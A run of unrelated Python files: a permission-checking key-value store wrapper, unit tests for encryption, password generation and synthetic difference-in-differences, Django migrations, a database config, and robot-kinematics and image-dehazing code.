a transaction, a StoreSetEvent should be emitted with the key & metadata Raises ------ AuthenticationError : If the user has no rights to set the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'set' in permissions: return self.store.set(key, value, buffer_size) else: raise AuthenticationError( 'User "%s" is not permitted to set "%s"' % (self._username, key)) else: raise KeyError(key) def delete(self, key): """ Delete a key from the repsository. This may be left unimplemented by subclasses that represent a read-only key-value store. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. Events ------ StoreDeleteEvent : On successful completion of a transaction, a StoreDeleteEvent should be emitted with the key. Raises ------ AuthenticationError : If the user has no rights to delete the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'delete' in permissions: return self.store.delete(key) else: raise AuthenticationError( 'User "%s" is not permitted to delete "%s"' % (self._username, key)) else: raise KeyError(key) def get_data(self, key): """ Retrieve a stream from a given key in the key-value store. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. Returns ------- data : file-like A readable file-like object the that provides stream of data from the key-value store. Raises ------ KeyError : This will raise a key error if the key is not present in the store. AuthenticationError : If the user has no rights to get the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'get' in permissions: return self.store.get_data(key) else: raise AuthenticationError( 'User "%s" is not permitted to get "%s"' % (self._username, key)) else: raise KeyError(key) def get_metadata(self, key, select=None): """ Retrieve the metadata for a given key in the key-value store. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. select : iterable of strings or None Which metadata keys to populate in the result. If unspecified, then return the entire metadata dictionary. Returns ------- metadata : dict A dictionary of metadata associated with the key. The dictionary has keys as specified by the select argument. If a key specified in select is not present in the metadata, then it will not be present in the returned value. Raises ------ KeyError : This will raise a key error if the key is not present in the store. AuthenticationError : If the user has no rights to get the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'get' in permissions: return self.store.get_metadata(key, select) else: raise AuthenticationError( 'User "%s" is not permitted to get "%s"' % (self._username, key)) else: raise KeyError(key) def set_data(self, key, data, buffer_size=1048576): """ Replace the data for a given key in the key-value store. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. data : file-like A readable file-like object the that provides stream of data from the key-value store. buffer_size : int An optional indicator of the number of bytes to read at a time. Implementations are free to ignore this hint or use a different default if they need to. The default is 1048576 bytes (1 MiB). Events ------ StoreProgressStartEvent : For buffering implementations, this event should be emitted prior to writing any data to the underlying store. StoreProgressStepEvent : For buffering implementations, this event should be emitted periodically as data is written to the underlying store. StoreProgressEndEvent : For buffering implementations, this event should be emitted after finishing writing to the underlying store. StoreSetEvent : On successful completion of a transaction, a StoreSetEvent should be emitted with the key & metadata Raises ------ AuthenticationError : If the user has no rights to set the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'set' in permissions: return self.store.set_data(key, data, buffer_size) else: raise AuthenticationError( 'User "%s" is not permitted to set "%s"' % (self._username, key)) else: raise KeyError(key) def set_metadata(self, key, metadata): """ Set new metadata for a given key in the key-value store. This replaces the existing metadata set for the key with a new set of metadata. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. metadata : dict A dictionary of metadata to associate with the key. The dictionary keys should be strings which are valid Python identifiers. Events ------ StoreSetEvent : On successful completion of a transaction, a StoreSetEvent should be emitted with the key & metadata Raises ------ AuthenticationError : If the user has no rights to set the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'set' in permissions: return self.store.set_metadata(key, metadata) else: raise AuthenticationError( 'User "%s" is not permitted to set "%s"' % (self._username, key)) else: raise KeyError(key) def update_metadata(self, key, metadata): """ Update the metadata for a given key in the key-value store. This performs a dictionary update on the existing metadata with the provided metadata keys and values Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. metadata : dict A dictionary of metadata to associate with the key. The dictionary keys should be strings which are valid Python identifiers. Events ------ StoreSetEvent : On successful completion of a transaction, a StoreSetEvent should be emitted with the key & metadata Raises ------ AuthenticationError : If the user has no rights to set the key, then an Authentication error is raised. """ permissions = self.check_permissions(key) if 'exists' in permissions: if 'set' in permissions: return self.store.update_metadata(key, metadata) else: raise AuthenticationError( 'User "%s" is not permitted to set "%s"' % (self._username, key)) else: raise KeyError(key) def exists(self, key): """ Test whether or not a key exists in the key-value store If a user does not have 'exists' permissions for this key, then it will return ``False``, even if the key exists in the underlying store. Parameters ---------- key : string The key for the resource in the key-value store. They key is a unique identifier for the resource within the key-value store. Returns ------- exists : bool Whether or not the key exists in the key-value store. """ permissions = self.check_permissions(key) if 'exists' in permissions: return self.store.exists(key) else: return False def transaction(self, note): return self.store.transaction(note) def query(self, select=None, **kwargs): for key, metadata in self.store.query(select, **kwargs): if self.exists(key): yield key, metadata def query_keys(self, **kwargs): for key in self.store.query_keys(**kwargs): if self.exists(key): yield key ########################################################################## # Private Methods ########################################################################## def check_permissions(self, key=None): """ Return permissions that the user has for the provided key The default behaviour gives all authenticated users full access to all keys. Subclasses may implement finer-grained controls based on user groups or other permissioning systems. Parameters ---------- key : str or None The key which the permissions are being requested for, or the global permissions if the key is None. Returns ------- permissions : set A set of strings chosen from 'connect', 'exists', 'get', 'set', and/or 'delete' which express the permissions that the user has on that particular key. """ if self._username: user_key = self.user_key_path + self._username try: token = self.user_key_store.get_data(user_key).read() except KeyError: return set() if self._token == token: return set(['connect', 'exists', 'get', 'set', 'delete']) return set() tests/unit/crypto/test_chacha20.py0 import pytest from jason.crypto import ChaCha20 @pytest.fixture def cipher(): return ChaCha20("secret-key") def test_escape(cipher): assert cipher.escape("some-thing-secret") == "some%-thing%-secret" def test_unescape(cipher): assert cipher.un_escape("some%-thing%-secret") == "some-thing-secret" def test_encrypt(cipher): string = "some-secret-message" encrypted = cipher.encrypt(string) assert encrypted != string def test_encrypts_to_string(cipher): string = "some-secret-message" encrypted = cipher.encrypt(string) assert isinstance(encrypted, str) def test_decrypts(cipher): string = "some-secret-message" encrypted = cipher.encrypt(string) assert cipher.decrypt(encrypted) == string def test_decrypts_to_string(cipher): string = "some-secret-message" encrypted = cipher.encrypt(string) decrypted = cipher.decrypt(encrypted) assert isinstance(decrypted, str) tests/python/gaia-ui-tests/gaiatest/apps/videoplayer/app.py1-10 # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from marionette.by import By from gaiatest.apps.base import Base class VideoPlayer(Base): name = 'Video' _progress_bar_locator = (By.ID, 'throbber') _thumbnails_locator = (By.ID, 'thumbnails') # Video list/summary view _video_items_locator = (By.CSS_SELECTOR, 'li.thumbnail') _video_name_locator = (By.CSS_SELECTOR, 'div.details') _empty_video_title_locator = (By.ID, 'overlay-title') _empty_video_text_locator = (By.ID, 'overlay-text') def launch(self): Base.launch(self) def wait_for_thumbnails_to_load(self, files_number): self.wait_for_condition(lambda m: len(m.find_elements(*self._video_items_locator)) == files_number, timeout=files_number * 5) def wait_for_progress_bar_not_visible(self): self.wait_for_element_not_displayed(*self._progress_bar_locator) @property def total_video_count(self): return len(self.marionette.find_elements(*self._video_items_locator)) @property def first_video_name(self): return self.marionette.find_element(*self._video_name_locator).get_attribute('data-title') def tap_first_video_item(self): first_video_item = self.marionette.find_elements(*self._video_items_locator)[0] first_video_item.tap() from gaiatest.apps.videoplayer.regions.fullscreen_video import FullscreenVideo fullscreen = FullscreenVideo(self.marionette) fullscreen.wait_for_player_frame_displayed() return fullscreen @property def empty_video_title(self): return self.marionette.find_element(*self._empty_video_title_locator).text @property def empty_video_text(self): return self.marionette.find_element(*self._empty_video_text_locator).text from operator import index from pyexpat import model import sys import os from scipy.stats import spearmanr sys.path.append(os.path.abspath("../")) import pandas as pd import numpy as np import pytest from synthdid.model import SynthDID from synthdid.sample_data import fetch_CaliforniaSmoking class TestModelSynth(object): def test_params_with_originalpaper(self): """ Original Paper (see: Arkhangelsky, Dmitry, et al. Synthetic difference in differences. No. w25532. National Bureau of Economic Research, 2019. https://arxiv.org/abs/1812.09970) """ test_df = fetch_CaliforniaSmoking() test_omega = pd.read_csv("test_data/omega_CalifolinaSmoking.csv") test_lambda = pd.read_csv("test_data/lambda_CalifolinaSmoking.csv") PRE_TEREM = [1970, 1988] POST_TEREM = [1989, 2000] TREATMENT = ["California"] sdid = SynthDID(test_df, PRE_TEREM, POST_TEREM, TREATMENT) sdid.fit(zeta_type="base") hat_omega_sdid, hat_lambda_sdid = sdid.estimated_params() hat_omega = sdid.estimated_params(model="sc") omega_result = pd.merge( test_omega, hat_omega_sdid, left_on="state", right_on="features", how="left" ) omega_result = pd.merge( omega_result, hat_omega, left_on="state", right_on="features", how="left" ) omega_result["random"] = 1 / len(omega_result) error_random_omega = np.sqrt( omega_result.eval("omega_sdid - random") ** 2 ).sum() # Classic SC Result error_sc_omega = np.sqrt(omega_result.eval("omega_ADH - sc_weight") ** 2).sum() assert error_sc_omega < error_random_omega adh_corr, _p = spearmanr(omega_result["omega_ADH"], omega_result["sc_weight"]) assert adh_corr >= 0.9 # SDID Result error_sdid_omega = np.sqrt( omega_result.eval("omega_sdid - sdid_weight") ** 2 ).sum() assert error_sdid_omega < error_random_omega sdid_corr, _p = spearmanr( omega_result["omega_sdid"], omega_result["sdid_weight"] ) assert sdid_corr >= 0.9 lambda_result = pd.merge( test_lambda, hat_lambda_sdid, left_on="year", right_on="time", how="left" ) lambda_result["random"] = 1 / len(lambda_result) # lambda test error_random_lambda = np.sqrt( lambda_result.eval("lambda_sdid - random") ** 2 ).sum() error_sdid_lambda = np.sqrt( lambda_result.eval("lambda_sdid - sdid_weight") ** 2 ).sum() assert error_sdid_lambda < error_random_lambda sdid_corr, _p = spearmanr( lambda_result["lambda_sdid"], lambda_result["sdid_weight"] ) assert sdid_corr >= 0.9 def test_multi_treatment(self): """ トリートメントの数が変わればzetaも変わる """ test_df = fetch_CaliforniaSmoking() PRE_TEREM = [1970, 1979] POST_TEREM = [1980, 1988] treatment = [col for i, col in enumerate(test_df.columns) if i % 2 == 0] multi_sdid = SynthDID(test_df, PRE_TEREM, POST_TEREM, treatment) multi_sdid.fit(zeta_type="base") hat_omega_sdid, hat_lambda_sdid = multi_sdid.estimated_params() hat_omega = multi_sdid.estimated_params(model="sc") assert ( np.round( hat_omega_sdid.query("features != 'intercept'")["sdid_weight"].sum(), 2 ) == 1.0 ) assert np.round(hat_omega["sc_weight"].sum(), 2) == 1.0 treatment2 = [col for i, col in enumerate(test_df.columns) if i % 3 == 0] multi_sdid2 = SynthDID(test_df, PRE_TEREM, POST_TEREM, treatment2) multi_sdid2.fit(zeta_type="base") assert multi_sdid2.zeta != multi_sdid.zeta def test_short_preterm(self): """ 極端なケースを目してみる """ test_df = fetch_CaliforniaSmoking() pre_term = [1970, 1971] post_term = [1972, 2000] treatment = ["California"] multi_sdid = SynthDID(test_df, pre_term, post_term, treatment) multi_sdid.fit(zeta_type="base") hat_omega_sdid, hat_lambda_sdid = multi_sdid.estimated_params() hat_omega = multi_sdid.estimated_params(model="sc") assert ( np.round( hat_omega_sdid.query("features != 'intercept'")["sdid_weight"].sum(), 2 ) == 1.0 ) assert np.round(hat_omega["sc_weight"].sum(), 2) == 1.0 for c in range (10, -1, -1): print(c) print('FOGO!')0 # Generated by Django 3.2.5 on 2021-07-23 15:32 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import time_stamped_model.models class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='ReminderType', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', time_stamped_model.models.CreationDateTimeField(auto_now_add=True)), ('modified', time_stamped_model.models.ModificationDateTimeField(auto_now=True)), ('name', models.CharField(max_length=255)), ], options={ 'ordering': ('name',), }, ), migrations.CreateModel( name='Task', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', time_stamped_model.models.CreationDateTimeField(auto_now_add=True)), ('modified', time_stamped_model.models.ModificationDateTimeField(auto_now=True)), ('task_due_date', models.DateField()), ('task_due_time', models.TimeField(blank=True, null=True)), ('assign_to', models.ManyToManyField(blank=True, related_name='assign_to_by', to=settings.AUTH_USER_MODEL)), ('created_by', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='task_created_by', to=settings.AUTH_USER_MODEL)), ], options={ 'ordering': ('task_due_date', 'task_due_time'), }, ), migrations.CreateModel( name='TaskStatus', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', time_stamped_model.models.CreationDateTimeField(auto_now_add=True)), ('modified', time_stamped_model.models.ModificationDateTimeField(auto_now=True)), ('name', models.CharField(max_length=100)), ('type', models.PositiveSmallIntegerField(choices=[(1, 'Active'), (2, 'Paused'), (3, 'Completed')], default=1)), ], options={ 'ordering': ('name',), }, ), migrations.CreateModel( name='TaskType', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', time_stamped_model.models.CreationDateTimeField(auto_now_add=True)), ('modified', time_stamped_model.models.ModificationDateTimeField(auto_now=True)), ('name', models.CharField(max_length=255)), ], options={ 'ordering': ('name',), }, ), migrations.CreateModel( name='TimeType', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', time_stamped_model.models.CreationDateTimeField(auto_now_add=True)), ('modified', time_stamped_model.models.ModificationDateTimeField(auto_now=True)), ('name', models.CharField(max_length=100)), ('type', models.PositiveSmallIntegerField(choices=[(0, 'All Day'), (1, 'Custom'), (2, 'Set Time')], default=2)), ('time', models.TimeField(blank=True, null=True)), ('default', models.BooleanField()), ], options={ 'ordering': ('name',), }, ), migrations.CreateModel( name='TaskTypeReminder', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', time_stamped_model.models.CreationDateTimeField(auto_now_add=True)), ('modified', time_stamped_model.models.ModificationDateTimeField(auto_now=True)), ('minutes_before', models.IntegerField()), ('reminder_type', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='django_event_tasks.remindertype')), ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='TaskReminder', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', time_stamped_model.models.CreationDateTimeField(auto_now_add=True)), ('modified', time_stamped_model.models.ModificationDateTimeField(auto_now=True)), ('reminder_date_time', models.DateTimeField()), ('reminder_type', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='django_event_tasks.remindertype')), ('task', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='django_event_tasks.task')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)), ], options={ 'abstract': False, }, ), migrations.AddField( model_name='task', name='task_status', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='django_event_tasks.taskstatus'), ), migrations.AddField( model_name='task', name='task_type', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='django_event_tasks.tasktype'), ), migrations.AddField( model_name='task', name='time_type', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='django_event_tasks.timetype'), ), ] # Generated by Django 3.2.5 on 2021-10-14 06:23 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('order', '0050_alter_purchaseorderlineitem_destination'), ] operations = [ migrations.AddField( model_name='purchaseorder', name='reference_int', field=models.IntegerField(default=0), ), migrations.AddField( model_name='salesorder', name='reference_int', field=models.IntegerField(default=0), ), ] avgupta456/statbotics10-100 import os CRDB_USER = os.getenv("CRDB_USER", "") CRDB_PWD = os.getenv("CRDB_PWD", "") CRDB_HOST = os.getenv("CRDB_HOST", "") CRDB_CLUSTER = os.getenv("CRDB_CLUSTER", "") local_db = os.getenv("LOCAL_DB", "") if type(local_db) == str: local_db = local_db.lower() == "true" LOCAL_DB: bool = local_db # type: ignore docker = os.getenv("DOCKER", "") if type(docker) == str: docker = docker.lower() == "true" DOCKER: bool = docker # type: ignore url = "postgresql://root@localhost:26257/statbotics?sslmode=disable" if DOCKER: # assuming LOCAL_DB, overwritten otherwise url = url.replace("localhost", "cockroachdb") if not LOCAL_DB: url = ( "postgresql://" + CRDB_USER + ":" + CRDB_PWD + "@" + CRDB_HOST + "/statbotics?sslmode=verify-full&sslrootcert=root.crt&options=--cluster%3D" + CRDB_CLUSTER ) DATABASE_URL = url DJANGO_SECRET_KEY = os.getenv("SECRET_KEY", "EMPTY") #For more info see: #https://github.com/tensorflow/models/blob/master/slim/slim_walkthrough.ipynb import numpy as np import pandas as pd import tensorflow as tf import tensorflow.contrib.slim as slim import tensorflow.contrib.slim.nets as nets import imagenet import inception_preprocessing from tensorflow.contrib.slim.nets import inception import os import json import urllib2 as urllib import tarfile import PIL import seaborn as sns import matplotlib.pyplot as plt tf.logging.set_verbosity(tf.logging.INFO) image_size = inception.inception_v3.default_image_size with tf.Graph().as_default(): url = 'https://upload.wikimedia.org/wikipedia/commons/7/70/EnglishCockerSpaniel_simon.jpg' image_string = urllib.urlopen(url).read() image = tf.image.decode_jpeg(image_string, channels=3) processed_image = inception_preprocessing.preprocess_image(image, image_size, image_size, is_training=False) processed_image = tf.expand_dims(processed_image, 0) #create the model using the default arg scope with slim.arg_scope(inception.inception_v3_arg_scope()): logits, _ = inception.inception_v3(processed_image, num_classes=1001, is_training=False) probabilities = tf.nn.softmax(logits) init_fn = slim.assign_from_checkpoint_fn('./tmp/inception_v3/inception_v3.ckpt', slim.get_model_variables('InceptionV3')) with tf.Session() as sess: init_fn(sess) np_image, probabilities = sess.run([image, probabilities]) probabilities = probabilities[0,0:] sorted_inds = [i[0] for i in sorted(enumerate(-probabilities), key=lambda x: x[1])] plt.figure() plt.imshow(np_image.astype(np.uint8)) plt.axis('off') plt.show() names = imagenet.create_readable_names_for_imagenet_labels() for i in range(5): index = sorted_inds[i] print "Prob %0.2f -> [%s]" %(probabilities[index]*100, names[index]) 0 import peewee from src.models.base import BaseModel from src.models.event import Event class TimeEntry(BaseModel): """ Defines the table fileds """ id = peewee.AutoField() event = peewee.ForeignKeyField(Event) start_time = peewee.DateTimeField() end_time = peewee.DateTimeField() duration = peewee.DecimalField() class Meta: def table_function(model_cls): """ Names the table according to the returned value """ return "TimeEntries" # Licensed under a 3-clause BSD style license - see LICENSE.rst import pytest from astropy import constants as const from astropy.tests.helper import pickle_protocol, check_pickling_recovery # noqa originals = [const.Constant('h_fake', 'Not Planck', 0.0, 'J s', 0.0, 'fakeref', system='si'), const.h, const.e] xfails = [True, True, True] @pytest.mark.parametrize(("original", "xfail"), zip(originals, xfails)) def test_new_constant(pickle_protocol, original, xfail): if xfail: pytest.xfail() check_pickling_recovery(original, pickle_protocol) tests/test_pwg.py0 from pwg import PasswordGenerator import pytest, re class TestPWG: def test_character_length(self): """ Tests that generated password has default length of fifteen characters """ assert 15 == len(PasswordGenerator().create()) def test_contains_lowercase(self): """ Tests that generated password contains a lowercase character """ assert re.search("[a-z]", PasswordGenerator().create()) def test_contains_numeric(self): """ Tests that generated password contains a numeric character """ assert re.search("[0-9]", PasswordGenerator().create()) def test_contains_special(self): """ Tests that generated password contains a special character from set """ assert re.search("[!#$%&]", PasswordGenerator().create()) def test_contains_uppercase(self): """ Tests that generated password contains an uppercase character """ assert re.search("[A-Z]", PasswordGenerator().create()) #!/usr/bin/env python3 __all__ = ['get_graph_geometries'] import numpy as np from phonebot.core.common.config import PhonebotSettings, FrameName from phonebot.core.common.math.transform import Position, Rotation, Transform from phonebot.core.common.math.utils import anorm, adiff, alerp from phonebot.core.frame_graph.frame_graph import FrameGraph from phonebot.core.frame_graph.phonebot_graph import PhonebotGraph from phonebot.core.kinematics.inverse_kinematics import hip_ik from phonebot.core.common.logger import get_default_logger from phonebot.core.common.geometry.geometry import circle_intersection logger = get_default_logger() def get_graph_geometries( graph: FrameGraph, stamp: float, target_frame=FrameName.BODY, tol: float = 1e-2): poses = {} edges = [] for frame in graph.frames: if not graph.has_transform(frame, target_frame, stamp, tol): continue pose = graph.get_transform(frame, target_frame, stamp, tol) poses[frame] = pose for neighbor in graph.get_connected_frames(frame): edge = graph.get_edge(frame, neighbor) if edge in edges: continue edges.append(edge) return poses, edges def initialize_graph_vector( graph: PhonebotGraph, stamp: float, values, config=PhonebotSettings()): index = 0 for leg_prefix in config.order: for leg_suffix in 'ab': frame = FrameName(prefix=leg_prefix, suffix=leg_suffix) graph.get_edge(frame.KNEE, frame.HIP).update(stamp, values[index]) index += 1 update_passive_joints(graph, stamp, config) def initialize_graph_zero(graph: PhonebotGraph, stamp: float, config=PhonebotSettings()): """ Initialize the graph to nominal joint positions. """ logger.warn("Zero initialization is currently not well-supported!!") for leg_prefix in config.order: for leg_suffix in 'ab': frame = FrameName(prefix=leg_prefix, suffix=leg_suffix) graph.get_edge(frame.KNEE, frame.HIP).update( stamp, 0) graph.get_edge(frame.FOOT, frame.KNEE).update( stamp, 0) def initialize_graph_nominal( graph: PhonebotGraph, stamp: float, config=PhonebotSettings()): """ Initialize the graph to nominal joint positions. """ for leg_prefix in config.order: for leg_suffix in 'ab': frame = FrameName(prefix=leg_prefix, suffix=leg_suffix) graph.get_edge(frame.KNEE, frame.HIP).update( stamp, config.nominal_hip_angle) graph.get_edge(frame.FOOT, frame.KNEE).update( stamp, config.nominal_knee_angle) update_passive_joints(graph, stamp, config) def get_joint_edges(graph: PhonebotGraph, config=PhonebotSettings()): """ Get edges that pertain to a revolute joint. Currently all such joints are hardcoded. """ # TODO(yycho0108): Consider caching into config settings. joint_edges = [] for leg_prefix in config.order: for leg_suffix in 'ab': frame = FrameName(prefix=leg_prefix, suffix=leg_suffix) joint_edge = graph.get_edge(frame.KNEE, frame.HIP) joint_edges.append(joint_edge) return joint_edges def update_passive_joints(graph: PhonebotGraph, stamp: float, config=PhonebotSettings()): """ Update the angles passive joints after a change in active joints. Typically invoked after joint_edge.update(..., angle). """ # Update passive joints. for leg_prefix in config.order: frame = FrameName(prefix=leg_prefix) frame_a = FrameName(prefix=leg_prefix, suffix='a') frame_b = FrameName(prefix=leg_prefix, suffix='b') knee_angle_a, knee_angle_b = solve_knee_angle( graph, leg_prefix, stamp, config=config) knee_edge_a = graph.get_edge(frame_a.FOOT, frame_a.KNEE) knee_edge_b = graph.get_edge(frame_b.FOOT, frame_b.KNEE) knee_edge_a.update(stamp, alerp( knee_edge_a.angle, knee_angle_a, 1.0)) knee_edge_b.update(stamp, alerp( knee_edge_b.angle, knee_angle_b, 1.0)) def solve_inverse_kinematics_half( graph: PhonebotGraph, stamp: float, leg_prefix: str, leg_suffix: str, foot_position: Position, config=PhonebotSettings()): """ Simpler IK alternative via solving circle intersections. TODO(yycho0108): Currently, the stamp lookup tolerance setting is set to inf. Is there some better way of handling this? """ # Parse inputs and query current transforms. frame = FrameName(prefix=leg_prefix, suffix=leg_suffix) leg_from_hip = graph.get_transform( frame.HIP, frame.LEG, stamp, tol=np.inf) leg_from_knee = graph.get_transform( frame.KNEE, frame.LEG, stamp, tol=np.inf) # Extract relevant parameters. hip_position = leg_from_hip.position knee_position = leg_from_knee.position foot_leg = foot_position return hip_ik(foot_leg, hip_position, knee_position, config.hip_sign[leg_suffix], config) def solve_inverse_kinematics( graph: PhonebotGraph, stamp: float, leg_prefix: str, foot_position: Position, config=PhonebotSettings()): # Solve IK in the A-subassembly. sol_a = solve_inverse_kinematics_half( graph, stamp, leg_prefix, 'a', foot_position, config) if sol_a is None: return None # Solve IK in the B-subassembly. sol_b = solve_inverse_kinematics_half( graph, stamp, leg_prefix, 'b', foot_position, config) if sol_b is None: return None # After computing both solutions, format the output and return the solution. # NOTE(yycho0108): negation and offset in `sol_b` are due to frame # definitions in config. return anorm([sol_a, -(np.pi + sol_b)]) def solve_knee_angle( graph: PhonebotGraph, leg_prefix: str, stamp: float, config=PhonebotSettings(), foot_position=None): """ Solve passive knee angle given the hip angles. Should be able to replace `solve_passive`. NOTE(yycho0108): Also accepts cached foot position, which MUST be specified in leg frame. """ frame = FrameName(prefix=leg_prefix) frame_a = FrameName(prefix=leg_prefix, suffix='a') frame_b = FrameName(prefix=leg_prefix, suffix='b') leg_from_knee_a = graph.get_transform(frame_a.KNEE, frame.LEG, stamp) leg_from_knee_b = graph.get_transform(frame_b.KNEE, frame.LEG, stamp) knee_pos_a = leg_from_knee_a.position knee_pos_b = leg_from_knee_b.position radius = config.knee_link_length # Extract circle centers. ax = knee_pos_a.x ay = knee_pos_a.y bx = knee_pos_b.x by = knee_pos_b.y # TODO(yycho0108: Technically, there's no need to guess # foot_positions if info is already available. if foot_position is None: foot_positions = circle_intersection( (ax, ay, radius), (bx, by, radius)) if foot_positions is None: logger.warn('{} {} {} {} {} {}', ax, ay, radius, bx, by, radius) logger.warn("Intersection compute somehow failed!") return if not config.select_nearest_ik: # If nearest-ik config is not enabled, # Of the >=1 solutions, accept the one closer to the ground. # NOTE(yycho0108):+y points downwards. foot_positions = np.asarray(foot_positions) foot_position = foot_positions[np.argmax(foot_positions[..., 1])] foot_positions = [foot_position] else: foot_positions = [foot_position] joint_a = graph.get_edge(frame_a.KNEE, frame_a.FOOT) joint_b = graph.get_edge(frame_b.KNEE, frame_b.FOOT) angles = [] for x, y in foot_positions: pa = leg_from_knee_a.inverse() * Position([x, y, 0.0]) pb = leg_from_knee_b.inverse() * Position([x, y, 0.0]) a = joint_a.to_param(pa) b = joint_b.to_param(pb) angles.append([a, b]) angles = np.float32(angles) # Debugging notes ... # print('----') # print(foot_positions) # print(graph.get_transform(frame_a.FOOT, frame.LEG, stamp)) # print('====') # print(angles) # print(graph.get_edge(frame_a.KNEE, frame_a.FOOT).angle) # print(graph.get_edge(frame_b.KNEE, frame_b.FOOT).angle) # print('----') # print('angles') # print(angles) prv_angle_a = graph.get_edge(frame_a.KNEE, frame_a.FOOT).angle prv_angle_b = graph.get_edge(frame_b.KNEE, frame_b.FOOT).angle select_index = np.argmin(np.linalg.norm( adiff(angles, [prv_angle_a, prv_angle_b]), axis=-1)) #print('angles comp') #print(prv_angle_a, prv_angle_b) # print(angles[select_index]) return angles[select_index] def main(): pass if __name__ == '__main__': main() main.py10-100 import argparse import logging import os import threading import time import numpy as np import itertools from train import train_dehaze from test import test_dehaze import sys from torchvision import datasets, transforms from torch.autograd import Variable from datetime import datetime from dataset import DehazeList import data_transforms as transforms def parse_args(): parser = argparse.ArgumentParser(description='') # Mode selection parser.add_argument('cmd', choices=['train', 'test']) parser.add_argument('--phase', default='val') # System parameters parser.add_argument('-j', '--workers', type=int, default=8) parser.add_argument('--gpus', type=str, default='', nargs='+', help='decides gpu(s) to use(ex. \'python main.py --gpus 0 1\'') # File loading/saving parameters parser.add_argument('--update-fileli', type=str, default='true', help='decides to update image file list text file or not(default: true)') parser.add_argument('-d', '--data-dir', default=None, required=True) parser.add_argument('--resume', default='', type=str, metavar='PATH', help='path to latest checkpoint of model (default: none)') parser.add_argument('--name', default='noname', type=str, help='name of the experiment') # Data augmentation parameters parser.add_argument('-s', '--crop-size', default=0, type=int) parser.add_argument('--random-scale', default=0, type=float) parser.add_argument('--random-rotate', default=0, type=int) parser.add_argument('--random-identity-mapping', default=0, type=float) # Training parameters parser.add_argument('--step', type=int, default=200) parser.add_argument('--batch-size', type=int, default=64, metavar='N', help='input batch size for training (default: 64)') parser.add_argument('--epochs', type=int, default=10, metavar='N', help='number of epochs to train (default: 10)') parser.add_argument('--lr', type=float, default=0.01, metavar='LR', help='learning rate (default: 0.01)') parser.add_argument('--lr-mode', type=str, default=None) parser.add_argument('--weight-decay', '--wd', default=1e-4, type=float, metavar='W', help='weight decay (default: 1e-4)') parser.add_argument('--coeff-l1', '--cl1', default=1.0, type=float, metavar='CL1', help='coefficient of l1 loss (default: 1)') parser.add_argument('--coeff-cl', '--cl', default=0.5, type=float, metavar='CL', help='coefficient of content loss (default: 0.5)') parser.add_argument('--coeff-ssim', '--ssim', default=1e-2, type=float, metavar='SSIM', help='coefficient of ssim loss (default: )') args = parser.parse_args() print(' '.join(sys.argv)) print(args) return args def make_data_txt(data_dir, list_dir = './datasets'): list_dir = list_dir # make the directory to save text files if it doesn't exist if not os.path.exists(list_dir): os.makedirs(list_dir, exist_ok=True) phase_list = ['train', 'val', 'test'] img_type_list = list(zip(['image', 'gt'], ['HAZY', 'GT'])) for phase, img_type in itertools.product(phase_list, img_type_list): dir = os.path.join(data_dir, phase, img_type[1]) if os.path.exists(dir): f = open(os.path.join(list_dir, phase + '_' + img_type[0] + '.txt'), 'w') img_list = [os.path.join(img_type[1], img) \ for img in os.listdir(dir) if (img.endswith('png') or img.endswith('jpg'))] img_list.sort() for _ in range(1): for item in img_list: f.write(item + '\n') if phase != 'train': break f.close() def main(): args = parse_args() # setting the gpus to use in training/testing os.environ['CUDA_VISIBLE_DEVICES'] = "".join(args.gpus) print(os.environ['CUDA_VISIBLE_DEVICES']) # Update image file list if args.update_fileli.lower() == 'true': make_data_txt(data_dir=args.data_dir) elif args.update_fileli.lower() == 'false': pass # Logging configuration save_dir = './checkpoints/' + args.name if not os.path.exists(save_dir) and args.cmd != 'test': os.makedirs(save_dir, exist_ok=True) FORMAT = "[%(asctime)-15s %(filename)s] %(message)s" logging.basicConfig(format=FORMAT) logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) if args.cmd == 'train': 